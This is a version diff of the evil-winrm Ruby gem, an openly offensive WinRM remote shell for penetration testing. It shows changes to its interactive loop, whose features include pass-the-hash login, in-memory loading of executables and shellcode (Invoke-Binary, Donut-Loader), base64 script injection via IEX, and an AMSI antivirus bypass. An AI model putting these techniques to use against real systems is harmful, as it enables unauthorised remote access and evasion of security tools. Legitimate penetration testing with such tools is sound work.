evil-winrm 2.0 → 2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/evil-winrm.rb +146 -133
- metadata +2 -16
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 7bda0429003e0d48d8305459a866f5f3a460fc1320af0cc3446081903e239dbf
|
4
|
+
data.tar.gz: 3746f299b2733317505df1bbb729da500edca1db5175b75392e9b7b5f7192db9
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 9734fc33c8e9bd6f06269492c9207a39be730525b081164a5a70730b2c0aff90eee72b31889ffea30d03988ebeef737de1ed18c4efd82c8557b7248d3c86f607
|
7
|
+
data.tar.gz: 40bb3349b464527a142ab82eabcb5b8f3e3a2132e784a1d4d39f528b522e56f6fcec2bd8169b67b3ca1dd4d3c6a7a2499cf06a4d7f1a2a480435dc1358e1aef4
|
data/lib/evil-winrm.rb
CHANGED
@@ -8,7 +8,6 @@
|
|
8
8
|
require 'winrm'
|
9
9
|
require 'winrm-fs'
|
10
10
|
require 'stringio'
|
11
|
-
require 'colorize'
|
12
11
|
require 'base64'
|
13
12
|
require 'readline'
|
14
13
|
require 'optionparser'
|
@@ -18,7 +17,7 @@ require 'time'
|
|
18
17
|
# Constants
|
19
18
|
|
20
19
|
# Version
|
21
|
-
VERSION = '2.
|
20
|
+
VERSION = '2.1'
|
22
21
|
|
23
22
|
# Msg types
|
24
23
|
TYPE_INFO = 0
|
@@ -34,7 +33,7 @@ $LISTASSEM = [''].sort
|
|
34
33
|
$DONUTPARAM1 = ['-process_id']
|
35
34
|
$DONUTPARAM2 = ['-donutfile']
|
36
35
|
|
37
|
-
# Colors
|
36
|
+
# Colors
|
38
37
|
$colors_enabled = true
|
39
38
|
|
40
39
|
# Path for ps1 scripts and exec files
|
@@ -70,7 +69,7 @@ class EvilWinRM
|
|
70
69
|
opts.on("-U", "--url URL", "Remote url endpoint (default /wsman)") { |val| options[:url] = val }
|
71
70
|
opts.on("-u", "--user USER", "Username (required)") { |val| options[:user] = val }
|
72
71
|
opts.on("-p", "--password PASS", "Password") { |val| options[:password] = val }
|
73
|
-
opts.on("-H", "--hash HASH", "
|
72
|
+
opts.on("-H", "--hash HASH", "NTHash") do |val|
|
74
73
|
if !options[:password].nil? and !val.nil?
|
75
74
|
self.print_header()
|
76
75
|
self.print_message("You must choose either password or hash auth. Both at the same time are not allowed", TYPE_ERROR)
|
@@ -88,6 +87,9 @@ class EvilWinRM
|
|
88
87
|
puts("v#{VERSION}")
|
89
88
|
self.custom_exit(0, false)
|
90
89
|
end
|
90
|
+
opts.on("-n", "--no-colors", "Disable colors") do |val|
|
91
|
+
$colors_enabled = false
|
92
|
+
end
|
91
93
|
opts.on('-h', '--help', 'Display this help message') do
|
92
94
|
self.print_header()
|
93
95
|
puts(opts)
|
@@ -98,7 +100,7 @@ class EvilWinRM
|
|
98
100
|
|
99
101
|
begin
|
100
102
|
optparse.parse!
|
101
|
-
if options[:realm].nil? then
|
103
|
+
if options[:realm].nil? and options[:priv_key].nil? and options[:pub_key].nil? then
|
102
104
|
mandatory = [:ip, :user]
|
103
105
|
else
|
104
106
|
mandatory = [:ip]
|
@@ -115,7 +117,7 @@ class EvilWinRM
|
|
115
117
|
custom_exit(1, false)
|
116
118
|
end
|
117
119
|
|
118
|
-
if options[:password].nil? and options[:realm].nil?
|
120
|
+
if options[:password].nil? and options[:realm].nil? and options[:priv_key].nil? and options[:pub_key].nil?
|
119
121
|
options[:password] = STDIN.getpass(prompt='Enter Password: ')
|
120
122
|
end
|
121
123
|
|
@@ -390,155 +392,166 @@ class EvilWinRM
|
|
390
392
|
time = Time.now.to_i
|
391
393
|
self.print_message("Establishing connection to remote endpoint", TYPE_INFO)
|
392
394
|
$conn.shell(:powershell) do |shell|
|
393
|
-
|
394
|
-
|
395
|
-
|
396
|
-
|
397
|
-
|
398
|
-
|
399
|
-
|
400
|
-
puts()
|
401
|
-
self.print_message("Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command", TYPE_WARNING)
|
395
|
+
begin
|
396
|
+
until command == "exit" do
|
397
|
+
pwd = shell.run("(get-location).path").output.strip
|
398
|
+
if $colors_enabled then
|
399
|
+
command = Readline.readline(self.colorize("*Evil-WinRM*", "red") + self.colorize(" PS ", "yellow") + pwd + "> ", true)
|
400
|
+
else
|
401
|
+
command = Readline.readline("*Evil-WinRM* PS " + pwd + "> ", true)
|
402
402
|
end
|
403
403
|
|
404
|
-
|
405
|
-
|
406
|
-
|
407
|
-
|
408
|
-
upload_command[2] = "#{pwd}\\#{upload_command[1].split('/')[-1]}"
|
409
|
-
elsif not upload_command[2].index ':\\'
|
410
|
-
upload_command[2] = "#{pwd}\\#{upload_command[2]}"
|
411
|
-
end
|
412
|
-
begin
|
413
|
-
self.print_message("Uploading #{upload_command[1]} to #{upload_command[2]}", TYPE_INFO)
|
414
|
-
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes|
|
415
|
-
if bytes_copied == total_bytes then
|
416
|
-
self.print_message("#{bytes_copied} bytes of #{total_bytes} bytes copied", TYPE_DATA)
|
417
|
-
self.print_message("Upload successful!", TYPE_INFO)
|
404
|
+
if command.start_with?('upload') then
|
405
|
+
if self.docker_detection() then
|
406
|
+
puts()
|
407
|
+
self.print_message("Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command", TYPE_WARNING)
|
418
408
|
end
|
419
|
-
end
|
420
|
-
rescue
|
421
|
-
self.print_message("Upload failed. Check filenames or paths", TYPE_ERROR)
|
422
|
-
end
|
423
409
|
|
424
|
-
|
425
|
-
|
426
|
-
puts()
|
427
|
-
self.print_message("Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command", TYPE_WARNING)
|
428
|
-
end
|
410
|
+
upload_command = command.tokenize
|
411
|
+
command = ""
|
429
412
|
|
430
|
-
|
431
|
-
|
432
|
-
|
433
|
-
|
434
|
-
|
435
|
-
|
436
|
-
|
437
|
-
|
438
|
-
|
439
|
-
|
440
|
-
|
441
|
-
|
442
|
-
|
443
|
-
|
413
|
+
if upload_command[2].to_s.empty? then
|
414
|
+
upload_command[2] = "#{pwd}\\#{upload_command[1].split('/')[-1]}"
|
415
|
+
elsif not upload_command[2].index ':\\'
|
416
|
+
upload_command[2] = "#{pwd}\\#{upload_command[2]}"
|
417
|
+
end
|
418
|
+
begin
|
419
|
+
self.print_message("Uploading #{upload_command[1]} to #{upload_command[2]}", TYPE_INFO)
|
420
|
+
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes|
|
421
|
+
if bytes_copied == total_bytes then
|
422
|
+
self.print_message("#{bytes_copied} bytes of #{total_bytes} bytes copied", TYPE_DATA)
|
423
|
+
self.print_message("Upload successful!", TYPE_INFO)
|
424
|
+
end
|
425
|
+
end
|
426
|
+
rescue
|
427
|
+
self.print_message("Upload failed. Check filenames or paths", TYPE_ERROR)
|
428
|
+
end
|
429
|
+
elsif command.start_with?('download') then
|
430
|
+
if self.docker_detection() then
|
431
|
+
puts()
|
432
|
+
self.print_message("Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command", TYPE_WARNING)
|
433
|
+
end
|
444
434
|
|
445
|
-
|
446
|
-
begin
|
447
|
-
invoke_Binary = command.tokenize
|
435
|
+
download_command = command.tokenize
|
448
436
|
command = ""
|
449
|
-
|
450
|
-
|
451
|
-
|
452
|
-
|
453
|
-
|
454
|
-
|
455
|
-
|
456
|
-
|
457
|
-
|
458
|
-
|
459
|
-
|
460
|
-
|
437
|
+
|
438
|
+
if not download_command[1].index ':\\' then download_command[1] = "#{pwd}\\#{download_command[1]}" end
|
439
|
+
|
440
|
+
if download_command[2].to_s.empty? then download_command[2] = download_command[1].split('\\')[-1] end
|
441
|
+
|
442
|
+
begin
|
443
|
+
self.print_message("Downloading #{download_command[1]} to #{download_command[2]}", TYPE_INFO)
|
444
|
+
file_manager.download(download_command[1], download_command[2])
|
445
|
+
self.print_message("Download successful!", TYPE_INFO)
|
446
|
+
rescue
|
447
|
+
self.print_message("Download failed. Check filenames or paths", TYPE_ERROR)
|
448
|
+
end
|
449
|
+
|
450
|
+
elsif command.start_with?('Invoke-Binary') then
|
451
|
+
begin
|
452
|
+
invoke_Binary = command.tokenize
|
453
|
+
command = ""
|
454
|
+
if !invoke_Binary[1].to_s.empty? then
|
455
|
+
load_executable = invoke_Binary[1]
|
456
|
+
load_executable = File.binread(load_executable)
|
457
|
+
load_executable = Base64.strict_encode64(load_executable)
|
458
|
+
if !invoke_Binary[4].to_s.empty? && invoke_Binary[5].to_s.empty?
|
459
|
+
output = shell.run("Invoke-Binary " + load_executable + "," + invoke_Binary[2] + "," + invoke_Binary[3] + "," + invoke_Binary[4])
|
460
|
+
elsif !invoke_Binary[3].to_s.empty? && invoke_Binary[4].to_s.empty?
|
461
|
+
output = shell.run("Invoke-Binary " + load_executable + "," + invoke_Binary[2] + "," + invoke_Binary[3])
|
462
|
+
elsif !invoke_Binary[2].to_s.empty? && invoke_Binary[3].to_s.empty?
|
463
|
+
output = shell.run("Invoke-Binary " + load_executable + "," + invoke_Binary[2])
|
464
|
+
elsif invoke_Binary[2].to_s.empty?
|
465
|
+
output = shell.run("Invoke-Binary " + load_executable)
|
466
|
+
end
|
467
|
+
elsif
|
468
|
+
output = shell.run("Invoke-Binary")
|
461
469
|
end
|
462
|
-
|
463
|
-
|
470
|
+
print(output.output)
|
471
|
+
rescue
|
472
|
+
self.print_message("Check filenames", TYPE_ERROR)
|
464
473
|
end
|
465
|
-
print(output.output)
|
466
|
-
rescue
|
467
|
-
self.print_message("Check filenames", TYPE_ERROR)
|
468
|
-
end
|
469
474
|
|
470
|
-
|
471
|
-
|
472
|
-
|
473
|
-
|
474
|
-
|
475
|
-
|
476
|
-
|
477
|
-
|
478
|
-
|
479
|
-
|
480
|
-
|
481
|
-
|
475
|
+
elsif command.start_with?('Donut-Loader') then
|
476
|
+
begin
|
477
|
+
donut_Loader = command.tokenize
|
478
|
+
command = ""
|
479
|
+
if !donut_Loader[4].to_s.empty? then
|
480
|
+
pid = donut_Loader[2]
|
481
|
+
load_executable = donut_Loader[4]
|
482
|
+
load_executable = File.binread(load_executable)
|
483
|
+
load_executable = Base64.strict_encode64(load_executable)
|
484
|
+
output = shell.run("Donut-Loader -process_id #{pid} -donutfile #{load_executable}")
|
485
|
+
elsif
|
486
|
+
output = shell.run("Donut-Loader")
|
487
|
+
end
|
488
|
+
print(output.output)
|
489
|
+
rescue
|
490
|
+
self.print_message("Check filenames", TYPE_ERROR)
|
482
491
|
end
|
483
|
-
print(output.output)
|
484
|
-
rescue
|
485
|
-
self.print_message("Check filenames", TYPE_ERROR)
|
486
|
-
end
|
487
492
|
|
488
|
-
|
489
|
-
|
490
|
-
|
491
|
-
|
493
|
+
elsif command.start_with?('services') then
|
494
|
+
command = ""
|
495
|
+
output = shell.run('Get-ItemProperty "registry::HKLM\System\CurrentControlSet\Services\*" | Where-Object {$_.imagepath -notmatch "system" -and $_.imagepath -ne $null } | Select-Object pschildname,imagepath | fl')
|
496
|
+
print(output.output.chomp)
|
497
|
+
|
498
|
+
elsif command.start_with?(*functions) then
|
499
|
+
self.silent_warnings do
|
500
|
+
load_script = $scripts_path + command
|
501
|
+
command = ""
|
502
|
+
load_script = load_script.gsub(" ","")
|
503
|
+
load_script = File.binread(load_script)
|
504
|
+
load_script = Base64.strict_encode64(load_script)
|
505
|
+
script_split = load_script.scan(/.{1,5000}/)
|
506
|
+
script_split.each do |item|
|
507
|
+
output = shell.run("$a += '#{item}'")
|
508
|
+
end
|
509
|
+
output = shell.run("IEX ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($a))).replace('???','')")
|
510
|
+
output = shell.run("$a = $null")
|
511
|
+
end
|
492
512
|
|
493
|
-
|
494
|
-
self.silent_warnings do
|
495
|
-
load_script = $scripts_path + command
|
513
|
+
elsif command.start_with?('menu') then
|
496
514
|
command = ""
|
497
|
-
|
498
|
-
|
499
|
-
|
500
|
-
|
501
|
-
|
502
|
-
|
515
|
+
self.silent_warnings do
|
516
|
+
output = shell.run(menu)
|
517
|
+
output = shell.run("Menu")
|
518
|
+
autocomplete = shell.run("auto").output.chomp
|
519
|
+
autocomplete = autocomplete.gsub!(/\r\n?/, "\n")
|
520
|
+
assemblyautocomplete = shell.run("show-methods-loaded").output.chomp
|
521
|
+
assemblyautocomplete = assemblyautocomplete.gsub!(/\r\n?/, "\n")
|
522
|
+
if !assemblyautocomplete.to_s.empty?
|
523
|
+
$LISTASSEMNOW = assemblyautocomplete.split("\n")
|
524
|
+
$LISTASSEM = $LISTASSEM + $LISTASSEMNOW
|
525
|
+
end
|
526
|
+
$LIST2 = autocomplete.split("\n")
|
527
|
+
$LIST = $LIST + $LIST2
|
528
|
+
print(output.output)
|
503
529
|
end
|
504
|
-
|
505
|
-
|
530
|
+
|
531
|
+
elsif (command == "Bypass-4MSI") and (Time.now.to_i < time + 20)
|
532
|
+
puts()
|
533
|
+
self.print_message("AV could be still watching for suspicious activity. Waiting for patching...", TYPE_WARNING)
|
534
|
+
sleep(9)
|
506
535
|
end
|
507
536
|
|
508
|
-
|
509
|
-
|
510
|
-
|
511
|
-
output = shell.run(menu)
|
512
|
-
output = shell.run("Menu")
|
513
|
-
autocomplete = shell.run("auto").output.chomp
|
514
|
-
autocomplete = autocomplete.gsub!(/\r\n?/, "\n")
|
515
|
-
assemblyautocomplete = shell.run("show-methods-loaded").output.chomp
|
516
|
-
assemblyautocomplete = assemblyautocomplete.gsub!(/\r\n?/, "\n")
|
517
|
-
if !assemblyautocomplete.to_s.empty?
|
518
|
-
$LISTASSEMNOW = assemblyautocomplete.split("\n")
|
519
|
-
$LISTASSEM = $LISTASSEM + $LISTASSEMNOW
|
537
|
+
output = shell.run(command) do |stdout, stderr|
|
538
|
+
stdout&.each_line do |line|
|
539
|
+
STDOUT.puts(line.rstrip!)
|
520
540
|
end
|
521
|
-
|
522
|
-
$LIST = $LIST + $LIST2
|
523
|
-
print(output.output)
|
541
|
+
STDERR.print(stderr)
|
524
542
|
end
|
525
|
-
|
526
|
-
elsif (command == "Bypass-4MSI") and (Time.now.to_i < time + 20)
|
527
|
-
puts()
|
528
|
-
self.print_message("AV could be still watching for suspicious activity. Waiting for patching...", TYPE_WARNING)
|
529
|
-
sleep(9)
|
530
543
|
end
|
531
|
-
|
532
|
-
|
533
|
-
|
534
|
-
|
544
|
+
rescue Interrupt
|
545
|
+
puts("\n\n")
|
546
|
+
self.print_message("Press \"y\" to exit, press any other key to continue", TYPE_WARNING)
|
547
|
+
if STDIN.getch.downcase == "y" or STDIN.getch.downcase == "Y"
|
548
|
+
self.custom_exit(130)
|
549
|
+
else
|
550
|
+
retry
|
535
551
|
end
|
536
552
|
end
|
537
|
-
|
538
|
-
|
539
|
-
end
|
540
|
-
rescue SignalException
|
541
|
-
self.custom_exit(130)
|
553
|
+
self.custom_exit(0)
|
554
|
+
end
|
542
555
|
rescue SystemExit
|
543
556
|
rescue SocketError
|
544
557
|
self.print_message("Check your /etc/hosts file to ensure you can resolve #{$host}", TYPE_ERROR)
|
metadata
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: evil-winrm
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: '2.
|
4
|
+
version: '2.1'
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- CyberVaca
|
@@ -11,7 +11,7 @@ authors:
|
|
11
11
|
autorequire:
|
12
12
|
bindir: bin
|
13
13
|
cert_chain: []
|
14
|
-
date:
|
14
|
+
date: 2020-01-14 00:00:00.000000000 Z
|
15
15
|
dependencies:
|
16
16
|
- !ruby/object:Gem::Dependency
|
17
17
|
name: winrm
|
@@ -55,20 +55,6 @@ dependencies:
|
|
55
55
|
- - ">="
|
56
56
|
- !ruby/object:Gem::Version
|
57
57
|
version: 0.0.2
|
58
|
-
- !ruby/object:Gem::Dependency
|
59
|
-
name: colorize
|
60
|
-
requirement: !ruby/object:Gem::Requirement
|
61
|
-
requirements:
|
62
|
-
- - ">="
|
63
|
-
- !ruby/object:Gem::Version
|
64
|
-
version: 0.8.1
|
65
|
-
type: :runtime
|
66
|
-
prerelease: false
|
67
|
-
version_requirements: !ruby/object:Gem::Requirement
|
68
|
-
requirements:
|
69
|
-
- - ">="
|
70
|
-
- !ruby/object:Gem::Version
|
71
|
-
version: 0.8.1
|
72
58
|
description: The ultimate WinRM shell for hacking/pentesting
|
73
59
|
email: oscar.alfonso.diaz@gmail.com
|
74
60
|
executables:
|